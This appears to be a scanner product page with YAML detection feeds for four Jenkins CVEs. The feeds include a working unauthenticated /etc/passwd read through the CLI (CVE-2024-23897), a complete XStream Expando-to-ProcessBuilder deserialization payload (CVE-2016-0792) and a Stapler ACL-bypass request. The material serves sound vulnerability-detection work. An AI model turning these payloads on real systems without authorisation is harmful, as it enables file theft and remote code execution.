Jenkins — 4 vulnerability checks

noctis ships 4 vulnerability checks for Jenkins, covering 4 CVEs; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

Jenkins CLI Java Deserialization Pre-Auth RCE

CVECVE-2017-1000353
Severitycritical · CVSS 9.8
Categoryrce — Remote code execution
Serviceshttp, https
Detectionset_var, match, http_request · highest QoD 75
Feedtests/vulnerabilities/jenkins/CVE-2017-1000353.yaml

Tests Jenkins for the pre-auth Java deserialization vulnerability in the remoting-based CLI protocol exposed at /cli. Weekly releases up to 2.56 and LTS releases up to 2.46.1 deserialise a user-supplied java.security.SignedObject sent over the CLI channel without blacklist checks, allowing unauthenticated RCE via a Commons Collections gadget chain. The feed reads the exact version from the X-Jenkins response header (LTS 2.46.2 and later are fixed) and then sends a bare POST /cli without channel headers: an enabled remoting CLI endpoint, which needs no authentication, fails on the missing session and answers HTTP 500 naming its CLI channel handler, while a disabled one answers 403 or 404. No CLI channel is opened and no object is sent. CISA KEV.

How noctis detects it

  1. Checks probe.headers.x-jenkins for ^(1\.[0-9]+(\.[0-9]+)*|2\.([0-9]|[1-3][0-9]|4[0-57-9]|5[0-6])(\.[0-9]…
  2. HTTP(S) request POST /cli
  3. Checks cli_resp.body for (hudson\.cli\.CLIAction\$[A-Za-z]*EndpointResponse|jenkins\.util\.Ful… → finding QoD 75: X-Jenkins: … (affected: weekly <= 2.56, LTS <= 2.46.1); unauthenticated POST /cli reached the remoting CLI channel handler (HTTP 500, CLI c…
  4. Checks cli_resp.headers.x-jenkins for ^[0-9]+\.[0-9]+ → finding QoD 70: X-Jenkins: … (affected: weekly <= 2.56, LTS <= 2.46.1); unauthenticated POST /cli answered HTTP 500 (remoting CLI endpoint enabled)

References:

Feed source — tests/vulnerabilities/jenkins/CVE-2017-1000353.yaml
uid: 0531853d-53a3-4fe5-8e3e-6483e9a3dfe6
name: "Jenkins CLI Java Deserialization Pre-Auth RCE (CVE-2017-1000353)"
description: |
  Tests Jenkins for the pre-auth Java deserialization vulnerability in the
  remoting-based CLI protocol exposed at /cli. Weekly releases up to 2.56 and LTS
  releases up to 2.46.1 deserialise a user-supplied java.security.SignedObject
  sent over the CLI channel without blacklist checks, allowing unauthenticated
  RCE via a Commons Collections gadget chain. The feed reads the exact version
  from the X-Jenkins response header (LTS 2.46.2 and later are fixed) and then
  sends a bare POST /cli without channel headers: an enabled remoting CLI
  endpoint, which needs no authentication, fails on the missing session and
  answers HTTP 500 naming its CLI channel handler, while a disabled one
  answers 403 or 404. No CLI channel is opened and no object is sent. CISA KEV.
cves: [CVE-2017-1000353]
cvss: 9.8
severity: critical
category: rce
confidence_base: 0.20
tags: [jenkins, deserialization, rce, pre-auth, kev, ci-cd]
services: [http, https]
author: noctis
version: "2.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2017-1000353"
  - "https://www.exploit-db.com/exploits/41965/"
  - "https://github.com/vulhub/vulhub/tree/master/jenkins/CVE-2017-1000353"
  - "https://www.cisa.gov/known-exploited-vulnerabilities-catalog"

includes:
  - ../../common/http_base.yaml   # step `probe`: GET / → {{probe.status}}, {{probe.headers}}, {{probe.body}}

steps:
  # Initialise the flag so later conditions never read an undefined variable.
  - id: init-vars
    action: set_var
    var_name: jenkins_version_vuln
    var_value: false

  # ── Step 1: GET / (the `probe` step from http_base.yaml) fingerprints ─────
  # Jenkins via the X-Jenkins version header. Jenkins injects
  # X-Jenkins: <version> on all HTTP responses, including unauthenticated
  # requests. This header is present in versions < 2.57 and is the primary
  # detection signal.

  # ── Step 2: Extract and validate the version ──────────────────────────────
  # Affected (NVD): weekly <= 2.56 and LTS <= 2.46.1. Weekly versions have two
  # components (2.56), LTS three (2.46.1); the 2.46.2 / 2.46.3 LTS backports are
  # fixed, so 2.46.x only matches 2.46 / 2.46.1. Pattern covers 1.x (weekly and
  # LTS), 2.0–2.45 and 2.47–2.56 (any LTS of those lines: 2.7.x, 2.19.x, 2.32.x),
  # 2.46 and 2.46.1. Extra components (vendor builds such as 2.46.1.2) are
  # allowed on the affected lines only.
  - id: version-match
    action: match
    source: probe.headers.x-jenkins
    pattern: "^(1\\.[0-9]+(\\.[0-9]+)*|2\\.([0-9]|[1-3][0-9]|4[0-57-9]|5[0-6])(\\.[0-9]+)*|2\\.46(\\.1(\\.[0-9]+)*)?)$"
    condition: "probe.status == 200 || probe.status == 403"
    on_match:
      set_vars:
        jenkins_version_vuln: true
        jenkins_version: "{{probe.headers.x-jenkins}}"

  # ── Step 3: Reach the remoting CLI-over-HTTP endpoint ────────────────────
  # The exploit opens the full-duplex CLI channel with POST /cli (headers
  # Session + Side). CLIAction is an UnprotectedRootAction: the POST needs no
  # permission. A bare POST without a Session header reaches the channel code
  # and fails there: Jenkins answers 500 with a NullPointerException raised in
  # hudson.cli.CLIAction$CliEndpointResponse.generateResponse (1.x to 2.53,
  # 2.46.1) or jenkins.util.FullDuplexHttpService$Response.generateResponse
  # (2.54–2.56 weekly code). No channel is opened, nothing is sent to it.
  # With the remoting CLI disabled (default from 2.46.2 / 2.57, or
  # -Djenkins.CLI.disabled=true) the POST is a 403 / 404 instead. A GET /cli is
  # no help: 302 to /cli/, then 403 for anonymous like any other URL.
  - id: cli-probe
    action: http_request
    method: POST
    path: "/cli"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    body: ""
    store_as: cli_resp
    condition: "jenkins_version_vuln == true"

  # The stack trace names the CLI channel handler (Jenkins 2.x prints traces).
  - id: cli-trace
    action: match
    source: cli_resp.body
    pattern: "(hudson\\.cli\\.CLIAction\\$[A-Za-z]*EndpointResponse|jenkins\\.util\\.FullDuplexHttpService\\$Response)\\.generateResponse"
    condition: "jenkins_version_vuln == true && cli_resp.status == 500"
    on_match:
      finding:
        confidence_delta: 0.55
        qod: 75
        evidence: "X-Jenkins: {{jenkins_version}} (affected: weekly <= 2.56, LTS <= 2.46.1); unauthenticated POST /cli reached the remoting CLI channel handler (HTTP 500, CLI channel handler NullPointerException in the trace)"
      stop: true

  # No trace in the page: a 500 from Jenkins itself (X-Jenkins on the reply).
  - id: cli-error
    action: match
    source: cli_resp.headers.x-jenkins
    pattern: "^[0-9]+\\.[0-9]+"
    condition: "jenkins_version_vuln == true && cli_resp.status == 500"
    on_match:
      finding:
        confidence_delta: 0.50
        qod: 70
        evidence: "X-Jenkins: {{jenkins_version}} (affected: weekly <= 2.56, LTS <= 2.46.1); unauthenticated POST /cli answered HTTP 500 (remoting CLI endpoint enabled)"
      stop: true

Jenkins CLI arbitrary file read via @-argument expansion

CVECVE-2024-23897
Severitycritical · CVSS 9.8
Categoryfile-read — File read
Serviceshttp, https
Detectiontcp_open, tcp_send, script, tcp_close, match · highest QoD 75
Feedtests/vulnerabilities/jenkins/CVE-2024-23897.yaml

Opens the two halves of the Jenkins HTTP CLI (a download request held open and an upload request with the same session UUID) and sends the who-am-i command with the argument @/etc/passwd in the CLI's binary framing. Reports when the argument error streamed back on the download side quotes an /etc/passwd entry (root:…:0:0:), which proves Jenkins expanded the argument into the file's content: the arbitrary file read, reachable without authentication. Fixed versions never expand the argument.

How noctis detects it

  1. Opens a persistent TCP/TLS socket
  2. Sends POST /cli?remoting=false HTTP/1.1 on the open socket
  3. Parses / computes the next value with a Rhai script
  4. Opens a persistent TCP/TLS socket
  5. Sends a binary frame on the open socket
  6. Sends … on the open socket
  7. Parses / computes the next value with a Rhai script
  8. Checks leak for root:[^:]*:0:0: → finding QoD 75: Jenkins CLI expanded @/etc/passwd into the who-am-i argument error: …

References:

Feed source — tests/vulnerabilities/jenkins/CVE-2024-23897.yaml
# Jenkins CLI arbitrary file read (CVE-2024-23897).
#
# Jenkins before 2.442 / LTS 2.426.3 parses CLI arguments with args4j and leaves
# its "@file" expansion on: an argument "@/etc/passwd" is replaced by the lines of
# that file on the controller. Arguments are parsed before any permission check,
# so `who-am-i @/etc/passwd` (a command that takes no argument) answers
# `ERROR: No argument is allowed: root:x:0:0:root:/root:/bin/bash` even to an
# anonymous user without Overall/Read (checked on jenkins/jenkins:2.441, setup
# wizard on; connect-node is refused there with "missing the Overall/Read
# permission" before its arguments are read).
#
# The HTTP CLI (`-http` mode, FullDuplexHttpService) is two concurrent POSTs to
# /cli?remoting=false sharing one Session UUID:
#   1. Side: download — held open; the server writes one 0x00 byte, then waits
#      for the upload side and streams the command's frames back on it.
#   2. Side: upload — the body carries the PlainCLIProtocol frames
#      [len:4 BE][op:1][payload], text payloads in DataOutput.writeUTF form
#      ([len:2 BE][utf-8]). Ops: ARG=0, LOCALE=1, ENCODING=2, START=3.
# The STDERR frame with the error arrives on the download side.
#
# Fixed versions (2.442) never expand the argument and answer
# `ERROR: No argument is allowed: @/etc/passwd`.
#
# Known gaps: a Windows controller has no /etc/passwd; a reverse proxy that
# buffers responses holds back the download side's first byte, so the probe
# stops at send-download.
uid: b2e9f4a1-3c87-4d56-a2f1-9e0b7c4d3e8f
name: "Jenkins CLI arbitrary file read via @-argument expansion"
description: "Opens the two halves of the Jenkins HTTP CLI (a download request held open and an upload request with the same session UUID) and sends the who-am-i command with the argument @/etc/passwd in the CLI's binary framing. Reports when the argument error streamed back on the download side quotes an /etc/passwd entry (root:…:0:0:), which proves Jenkins expanded the argument into the file's content: the arbitrary file read, reachable without authentication. Fixed versions never expand the argument."
cves: [CVE-2024-23897]
cvss: 9.8
severity: critical
category: file-read
confidence_base: 0.30
tags:
  - jenkins
  - file-read
  - cli
  - unauthenticated
services:
  - http
  - https
author: noctis
version: "1.1.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2024-23897"
  - "https://www.jenkins.io/security/advisory/2024-01-24/#SECURITY-3314"

steps:
  # 1 — download side first: the server must hold it before the upload arrives.
  #     {{oob_token}} is a fresh UUID per run (Jenkins parses Session as a UUID).
  - id: open-download
    action: tcp_open
    handle: cli_down
    port: "{{port}}"
    timeout_secs: 10
    store_as: down_conn

  - id: send-download
    action: tcp_send
    handle: cli_down
    condition: "down_conn.connected == true"
    send: "POST /cli?remoting=false HTTP/1.1\r\nHost: {{target_host}}\r\nSession: {{oob_token}}\r\nSide: download\r\nContent-Type: application/octet-stream\r\nContent-Length: 0\r\n\r\n"
    timeout_secs: 10
    store_as: down_ack

  # 2 — build the upload request: ARG who-am-i, ARG @/etc/passwd,
  #     ENCODING UTF-8, LOCALE en, START.
  - id: build-upload
    action: script
    condition: "down_ack.responded == true"
    store_as: upload_req
    code: |
      let cmd = "who-am-i";
      let arg = "@/etc/passwd";
      let enc = "UTF-8";
      let loc = "en";
      let body = "";
      body += p32be(strlen(cmd) + 2) + "00" + p16be(strlen(cmd)) + hexstr(cmd);
      body += p32be(strlen(arg) + 2) + "00" + p16be(strlen(arg)) + hexstr(arg);
      body += p32be(strlen(enc) + 2) + "02" + p16be(strlen(enc)) + hexstr(enc);
      body += p32be(strlen(loc) + 2) + "01" + p16be(strlen(loc)) + hexstr(loc);
      body += "00000000" + "03";
      let head = "POST /cli?remoting=false HTTP/1.1\r\nHost: " + target_host
        + "\r\nSession: " + oob_token
        + "\r\nSide: upload\r\nContent-Type: application/octet-stream\r\nContent-Length: "
        + (strlen(body) / 2) + "\r\nConnection: close\r\n\r\n";
      hexstr(head) + body

  - id: open-upload
    action: tcp_open
    handle: cli_up
    port: "{{port}}"
    timeout_secs: 10
    condition: "type_of(upload_req) == \"string\""
    store_as: up_conn

  # The upload reply only comes once the command has run.
  - id: send-upload
    action: tcp_send
    handle: cli_up
    condition: "type_of(upload_req) == \"string\" && up_conn.connected == true"
    send_hex: "{{upload_req}}"
    timeout_secs: 10
    store_as: up_resp

  # 3 — read the command's output frames on the still-open download side.
  - id: read-download
    action: tcp_send
    handle: cli_down
    condition: "type_of(upload_req) == \"string\" && up_conn.connected == true"
    timeout_secs: 5
    store_as: down_out

  - id: close-upload
    action: tcp_close
    handle: cli_up

  - id: close-download
    action: tcp_close
    handle: cli_down

  # Keep only the error line, so the evidence carries no chunk/frame bytes.
  - id: extract-leak
    action: script
    condition: "down_out.responded == true"
    store_as: leak
    code: |
      let m = eregmatch("ERROR: [^\\r\\n]*root:[^:\\r\\n]*:0:0:[^\\r\\n]*", down_out.response);
      if m.len() > 0 { m[0] } else { "" }

  - id: file-read-match
    action: match
    condition: "type_of(leak) == \"string\" && leak != \"\""
    source: leak
    pattern: "root:[^:]*:0:0:"
    on_match:
      finding:
        confidence_delta: 0.45
        qod: 75
        evidence: "Jenkins CLI expanded @/etc/passwd into the who-am-i argument error: {{leak}}"

Jenkins Stapler ACL Bypass

CVECVE-2018-1000861
Severitycritical · CVSS 9.8
Categoryauth-bypass — Auth bypass
Serviceshttp, https
Detectionset_var, http_request, match · highest QoD 75
Feedtests/vulnerabilities/jenkins/CVE-2018-1000861.yaml

Tests Jenkins for the Stapler routing ACL bypass. A URL under the securityRealm/user/<name> prefix reaches an ACL-protected route (the search index) without authentication. Safe two-step differential: the unprefixed /search/index must be ACL-protected (403), then the securityRealm-prefixed path must execute the search anyway (200).

How noctis detects it

  1. HTTP(S) request GET /search/index?q=a
  2. HTTP(S) request GET /securityRealm/user/admin/search/index?q=a
  3. Checks bypass_resp.body for <title>Search for 'a'|>Nothing seems to match → finding QoD 75: ACL bypass confirmed — /securityRealm/user/admin/search/index reached the search route despite /search/index being ACL-protected (403). Res…

References:

Feed source — tests/vulnerabilities/jenkins/CVE-2018-1000861.yaml
# Jenkins Stapler ACL bypass — CVE-2018-1000861
#
# Jenkins' Stapler web framework resolves URLs to Java method invocations.
# A crafted URL under the `securityRealm/user/<name>` prefix reaches routes
# that are normally protected by the ACL, letting an unauthenticated user
# invoke actions the ACL would otherwise block. This is also the routing
# primitive at the root of the CVE-2019-1003000 Groovy RCE chain.
#
# Affected: Jenkins weekly <= 2.137, LTS <= 2.121.2.
#
# Detection (safe, two-step differential):
#   1. GET /search/index?q=a            -> 403 (ACL protects it). If this
#      returns 200 / a search page, anonymous read is already enabled and the
#      bypass cannot be told apart from normal access, so we bail.
#   2. GET /securityRealm/user/admin/search/index?q=a -> the same search runs
#      *despite* the ACL (200 with the search result page) = vulnerable.
#      A patched server answers 403 on the prefixed path too. QoD 75.
uid: 88735be3-d00c-4a14-8e10-8d7aeb3746c4
name: "Jenkins Stapler ACL Bypass (CVE-2018-1000861)"
description: |
  Tests Jenkins for the Stapler routing ACL bypass. A URL under the
  securityRealm/user/<name> prefix reaches an ACL-protected route
  (the search index) without authentication. Safe two-step differential:
  the unprefixed /search/index must be ACL-protected (403), then the
  securityRealm-prefixed path must execute the search anyway (200).
cves: [CVE-2018-1000861]
cvss: 9.8
severity: critical
confidence_base: 0.30
tags: [jenkins, stapler, acl-bypass, auth-bypass]
category: auth-bypass
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2018-1000861"
  - "https://jenkins.io/security/advisory/2018-12-05/"

steps:
  # Initialise the gate so later `condition:` guards never read an undefined var.
  - id: init
    action: set_var
    var_name: acl_protected
    var_value: false

  # ── Step 1: the unprefixed search index must be ACL-protected (403) ──────
  - id: acl-probe
    action: http_request
    method: GET
    path: "/search/index?q=a"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: acl_resp

  # Only proceed when the ACL actually guards the route (403). A 200 here means
  # anonymous read is globally enabled — indistinguishable from the bypass — so
  # the gate stays false and the confirm step below is skipped (no finding).
  - id: acl-gate
    action: set_var
    var_name: acl_protected
    var_value: true
    condition: "acl_resp.status == 403"

  # ── Step 2: the securityRealm-prefixed path reaches the route anyway ─────
  - id: bypass-probe
    action: http_request
    method: GET
    path: "/securityRealm/user/admin/search/index?q=a"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: bypass_resp
    condition: "acl_protected == true"

  - id: bypass-confirm
    action: match
    source: bypass_resp.body
    # The search ran despite the ACL: either the result page title or the
    # "no results" marker proves the protected route was reached.
    pattern: "<title>Search for 'a'|>Nothing seems to match"
    condition: "acl_protected == true && bypass_resp.status == 200"
    on_match:
      finding:
        confidence_delta: 0.45
        qod: 75
        evidence: "ACL bypass confirmed — /securityRealm/user/admin/search/index reached the search route despite /search/index being ACL-protected (403). Response: {{bypass_resp.body}}"
      stop: true

Jenkins XStream Groovy Expando Deserialization RCE

CVECVE-2016-0792
Severityhigh · CVSS 8.8
Categoryrce — Remote code execution
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 97
Feedtests/vulnerabilities/jenkins/CVE-2016-0792.yaml

Detects Jenkins servers (mainline up to 1.649, LTS up to 1.642.1) that rebuild any Java object from the XML of a new job, which lets a user allowed to create jobs execute arbitrary commands. The test first fetches a CSRF crumb when the crumb issuer is on, then POSTs to /createItem an XML job definition whose map key is a Groovy Expando with a "hashCode" method closure that starts a java.lang.ProcessBuilder. The program given to the ProcessBuilder is a random name that does not exist ("noctis" followed by random characters), so nothing is executed: a vulnerable server tries to start it, fails with "Cannot run program" naming that random program, and prints the error on its error page. Seeing the random program name in that error proves the server deserialized the object and called ProcessBuilder.start() with attacker-chosen arguments. The job is not kept: Jenkins deletes it when loading fails. Fixed servers refuse the Expando and are not reported. When the scan request carries credentials, the request is repeated with HTTP Basic authentication (password or API token). When job creation is refused to the scanner (anonymously, and with the credentials when given), a vulnerable version in the X-Jenkins header is reported with lower confidence.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET /
  3. Parses / computes the next value with a Rhai script
  4. HTTP(S) request GET /crumbIssuer/api/xml?xpath=concat(//crumbRequestField,%22:%22,//crumb)
  5. Parses / computes the next value with a Rhai script
  6. HTTP(S) request POST /createItem?name={{g.job}} with a crafted body
  7. Parses / computes the next value with a Rhai script
  8. Parses / computes the next value with a Rhai script
  9. HTTP(S) request GET /crumbIssuer/api/xml?xpath=concat(//crumbRequestField,%22:%22,//crumb)
  10. Parses / computes the next value with a Rhai script
  11. HTTP(S) request POST /createItem?name={{g.job2}} with a crafted body
  12. Parses / computes the next value with a Rhai script
  13. Checks v.anon for ^true$ → finding QoD 97: Jenkins …: anonymous POST /createItem?name=… with an XML Expando whose hashCode MethodClosure starts a ProcessBuilder for the non-existent …
  14. Checks v.auth for ^true$ → finding QoD 97: Jenkins …: authenticated POST /createItem?name=… (anonymous attempt answered HTTP …) with an XML Expando whose hashCode MethodClosure start…
  15. … and 1 more steps — see the feed source below

References:

Feed source — tests/vulnerabilities/jenkins/CVE-2016-0792.yaml
# Jenkins — XStream deserialization of groovy.util.Expando / MethodClosure (CVE-2016-0792,
# SECURITY-247, Jenkins security advisory 2016-02-24). Affected: Jenkins mainline <= 1.649
# and LTS <= 1.642.1; fixed in 1.650 / 1.642.2, which refuse the dangerous types with
# BlacklistedTypesConverter ("Refusing to unmarshal ... for security reasons").
#
# Ported from OpenVAS/Greenbone NVT
#   2017/gb_jenkins_java_deserialization_vul_07_2017.nasl
#   (OID 1.3.6.1.4.1.25623.1.0.107230, GPL-2.0-only)
# Same entry point and body shape as the NASL: POST /createItem?name=<job> with
# Content-Type: application/xml and a <map> whose key is an Expando carrying a "hashCode"
# MethodClosure on a java.lang.ProcessBuilder (method "start").
#
# Deliberate deviations, all making the check stronger:
#   * Proof: the NASL makes the target ping the scanner / open a reverse bash or ssh
#     connection and sniffs for it, which needs the target to reach the scanner and runs
#     real commands. Here the ProcessBuilder's program is a random name that does not
#     exist ("noctis" + 12 hex characters), so nothing runs on the target:
#     ProcessBuilder.start() throws
#       java.io.IOException: Cannot run program "noctis<hex>": error=2, ...
#     Jenkins wraps it (XmlFile.read -> ConversionException) and its /oops error page
#     prints the whole chain, HTML-escaped. Seeing that sentence with our random program
#     name proves that XStream rebuilt the Expando, that the MethodClosure fired and that
#     ProcessBuilder.start() was called with attacker-chosen arguments — the RCE
#     primitive — without any connect-back. The request never contains
#     "Cannot run program", so a server that echoes the body cannot match.
#     Validated with the libraries Jenkins 1.642.x ships (XStream 1.4.7 + groovy-all
#     1.8.9) on a real JVM: the payload below yields exactly that exception.
#   * Side effects: createProjectFromXML deletes the job directory when the load fails,
#     so no job is left behind.
#   * CSRF: when the crumb issuer is enabled the NASL's POST is refused; here a crumb is
#     fetched first (/crumbIssuer/api/xml) and sent along.
#   * Authenticated users: the CVE is "remote authenticated"; the NASL only covers
#     anonymous job creation. When the scan request carries credentials the exploit is
#     retried with HTTP Basic (password or API token).
#   * When job creation is refused (401/403/login redirect) anonymously and, if tried,
#     with the credentials too, a vulnerable X-Jenkins version (<= 1.649, LTS <= 1.642.1)
#     is reported at QoD 70, since any user allowed to create jobs can exploit it.
uid: 6e5138c6-e17c-4e14-a2de-7788a4be7bbe
name: "Jenkins XStream Groovy Expando Deserialization RCE (CVE-2016-0792)"
description: |
  Detects Jenkins servers (mainline up to 1.649, LTS up to 1.642.1) that rebuild any Java
  object from the XML of a new job, which lets a user allowed to create jobs execute
  arbitrary commands. The test first fetches a CSRF crumb when the crumb issuer is on,
  then POSTs to /createItem an XML job definition whose map key is a Groovy Expando with a
  "hashCode" method closure that starts a java.lang.ProcessBuilder. The program given to
  the ProcessBuilder is a random name that does not exist ("noctis" followed by random
  characters), so nothing is executed: a vulnerable server tries to start it, fails with
  "Cannot run program" naming that random program, and prints the error on its error
  page. Seeing the random program name in that error proves the server deserialized the
  object and called ProcessBuilder.start() with attacker-chosen arguments. The job is not
  kept: Jenkins deletes it when loading fails. Fixed servers refuse the Expando and are
  not reported. When the scan request carries credentials, the request is repeated with
  HTTP Basic authentication (password or API token). When job creation is refused to the
  scanner (anonymously, and with the credentials when given), a vulnerable version in the
  X-Jenkins header is reported with lower confidence.
cves: [CVE-2016-0792]
cvss: 8.8
severity: high
category: rce
confidence_base: 0.30
tags:
  - jenkins
  - xstream
  - groovy
  - deserialization
  - rce
  - intrusive
  - ci-cd
services:
  - http
  - https
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2016-0792"
  - "https://www.jenkins.io/security/advisory/2016-02-24/"
  - "https://www.contrastsecurity.com/security-influencers/serialization-must-die-act-2-xstream"
  - "OpenVAS/Greenbone NASL 2017/gb_jenkins_java_deserialization_vul_07_2017.nasl (OID 1.3.6.1.4.1.25623.1.0.107230, GPL-2.0-only)"

steps:
  - id: gen
    action: script
    store_as: g
    code: |
      let t = str_replace(oob_token, "-", "");
      #{ prog: "noctis" + substr(t, 0, 11), job: "noctis-" + substr(t, 12, 19), job2: "noctis-" + substr(t, 20, 27) }

  # Stored results are pre-initialised: a skipped or failed request leaves its name
  # undefined, and an undefined variable aborts a script.
  - id: init-probe
    action: set_var
    var_name: probe
    var_value: {status: 0, headers: {}, body: ""}

  - id: init-crumb
    action: set_var
    var_name: crumb
    var_value: {status: 0, headers: {}, body: ""}

  - id: init-anon
    action: set_var
    var_name: anon
    var_value: {status: 0, headers: {}, body: ""}

  - id: init-authz
    action: set_var
    var_name: authz
    var_value: ""

  - id: init-crumb-auth
    action: set_var
    var_name: crumb_a
    var_value: {status: 0, headers: {}, body: ""}

  - id: init-authed
    action: set_var
    var_name: authed
    var_value: {status: 0, headers: {}, body: ""}

  # ── 1. Jenkins answers every request, 403 or not, with an X-Jenkins version header ──
  - id: probe
    action: http_request
    method: GET
    path: "/"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: probe

  - id: fingerprint
    action: script
    store_as: jk
    code: |
      let v = "";
      if type_of(probe.headers) == "map" && "x-jenkins" in probe.headers {
        v = `${probe.headers["x-jenkins"]}`;
      }
      let vuln = false;
      let m = eregmatch("^1\\.([0-9]+)(\\.([0-9]+))?$", v);
      if m.len() >= 2 {
        let minor = parse_int(m[1]);
        let patch = 0;
        if m.len() >= 4 && type_of(m[3]) == "string" && m[3] != "" { patch = parse_int(m[3]); }
        vuln = minor < 642 || (minor == 642 && patch <= 1) || (minor >= 643 && minor <= 649);
      }
      #{ is_jenkins: v != "", version: v, version_vuln: vuln }

  # ── 2. Anonymous attempt (security off — the Jenkins 1.x default — or Item/Create
  #       granted to anonymous) ───────────────────────────────────────────────────────
  - id: crumb
    action: http_request
    method: GET
    path: "/crumbIssuer/api/xml?xpath=concat(//crumbRequestField,%22:%22,//crumb)"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: "jk.is_jenkins"
    store_as: crumb

  - id: crumb-header
    action: script
    store_as: ch
    code: |
      let h = #{ name: "X-Noctis-Scan", value: "1" };
      if crumb.status == 200 && type_of(crumb.body) == "string" {
        let m = eregmatch("^([A-Za-z0-9._-]+):([A-Za-z0-9]+)\\s*$", crumb.body);
        if m.len() >= 3 { h = #{ name: m[1], value: m[2] }; }
      }
      h

  - id: exploit-anon
    action: http_request
    method: POST
    path: "/createItem?name={{g.job}}"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    condition: "jk.is_jenkins"
    headers:
      Content-Type: "application/xml"
      "{{ch.name}}": "{{ch.value}}"
    body: |
      <map>
        <entry>
          <groovy.util.Expando>
            <expandoProperties>
              <entry>
                <string>hashCode</string>
                <org.codehaus.groovy.runtime.MethodClosure>
                  <delegate class="groovy.util.Expando" reference="../../../.."/>
                  <owner class="java.lang.ProcessBuilder">
                    <command>
                      <string>{{g.prog}}</string>
                    </command>
                    <redirectErrorStream>false</redirectErrorStream>
                  </owner>
                  <resolveStrategy>0</resolveStrategy>
                  <directive>0</directive>
                  <parameterTypes/>
                  <maximumNumberOfParameters>0</maximumNumberOfParameters>
                  <method>start</method>
                </org.codehaus.groovy.runtime.MethodClosure>
              </entry>
            </expandoProperties>
          </groovy.util.Expando>
          <int>1</int>
        </entry>
      </map>
    store_as: anon

  - id: eval-anon
    action: script
    store_as: ea
    code: |
      let q = "(\"|&quot;|&#34;|&#x22;)";
      let hit = type_of(anon.body) == "string" && ereg("Cannot run program " + q + g.prog + q, anon.body);
      let denied = anon.status == 401 || anon.status == 403 || (anon.status >= 300 && anon.status < 400);
      #{ hit: hit, denied: denied, status: anon.status }

  # ── 3. Authenticated attempt, when the request carries credentials ─────────────────
  - id: auth-header
    action: script
    condition: "jk.is_jenkins && !ea.hit && cred_enabled"
    store_as: authz
    code: |
      let h = "";
      if is_def_var("cred_username") {
        if is_def_var("cred_password") {
          h = "Basic " + base64_encode(cred_username + ":" + cred_password);
        } else if is_def_var("cred_token") {
          h = "Basic " + base64_encode(cred_username + ":" + cred_token);
        }
      }
      h

  - id: crumb-auth
    action: http_request
    method: GET
    path: "/crumbIssuer/api/xml?xpath=concat(//crumbRequestField,%22:%22,//crumb)"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: "jk.is_jenkins && !ea.hit && authz != \"\""
    headers:
      Authorization: "{{authz}}"
    store_as: crumb_a

  - id: crumb-header-auth
    action: script
    store_as: cha
    code: |
      let h = #{ name: "X-Noctis-Scan", value: "1" };
      if crumb_a.status == 200 && type_of(crumb_a.body) == "string" {
        let m = eregmatch("^([A-Za-z0-9._-]+):([A-Za-z0-9]+)\\s*$", crumb_a.body);
        if m.len() >= 3 { h = #{ name: m[1], value: m[2] }; }
      }
      h

  - id: exploit-auth
    action: http_request
    method: POST
    path: "/createItem?name={{g.job2}}"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    condition: "jk.is_jenkins && !ea.hit && authz != \"\""
    headers:
      Content-Type: "application/xml"
      Authorization: "{{authz}}"
      "{{cha.name}}": "{{cha.value}}"
    body: |
      <map>
        <entry>
          <groovy.util.Expando>
            <expandoProperties>
              <entry>
                <string>hashCode</string>
                <org.codehaus.groovy.runtime.MethodClosure>
                  <delegate class="groovy.util.Expando" reference="../../../.."/>
                  <owner class="java.lang.ProcessBuilder">
                    <command>
                      <string>{{g.prog}}</string>
                    </command>
                    <redirectErrorStream>false</redirectErrorStream>
                  </owner>
                  <resolveStrategy>0</resolveStrategy>
                  <directive>0</directive>
                  <parameterTypes/>
                  <maximumNumberOfParameters>0</maximumNumberOfParameters>
                  <method>start</method>
                </org.codehaus.groovy.runtime.MethodClosure>
              </entry>
            </expandoProperties>
          </groovy.util.Expando>
          <int>1</int>
        </entry>
      </map>
    store_as: authed

  - id: verdict
    action: script
    store_as: v
    code: |
      let q = "(\"|&quot;|&#34;|&#x22;)";
      let hit_auth = type_of(authed.body) == "string" && ereg("Cannot run program " + q + g.prog + q, authed.body);
      let tried_auth = authed.status != 0;
      let auth_denied = authed.status == 401 || authed.status == 403 || (authed.status >= 300 && authed.status < 400);
      // Version fallback only when no attempt reached the deserializer.
      let untested = ea.denied && (!tried_auth || auth_denied);
      #{
        anon: ea.hit,
        auth: !ea.hit && hit_auth,
        auth_status: authed.status,
        version_only: !ea.hit && !hit_auth && untested && jk.version_vuln
      }

  - id: confirm-anon
    action: match
    source: v.anon
    pattern: "^true$"
    on_match:
      finding:
        confidence_delta: 0.65   # 0.30 + 0.65 = 0.95
        qod: 97
        evidence: "Jenkins {{jk.version}}: anonymous POST /createItem?name={{g.job}} with an XML Expando whose hashCode MethodClosure starts a ProcessBuilder for the non-existent program {{g.prog}} returned HTTP {{ea.status}} with the error 'Cannot run program {{g.prog}}' — XStream deserialized the object and called ProcessBuilder.start() with attacker-chosen arguments (CVE-2016-0792)"
      stop: true

  - id: confirm-auth
    action: match
    source: v.auth
    pattern: "^true$"
    on_match:
      finding:
        confidence_delta: 0.65   # 0.30 + 0.65 = 0.95
        qod: 97
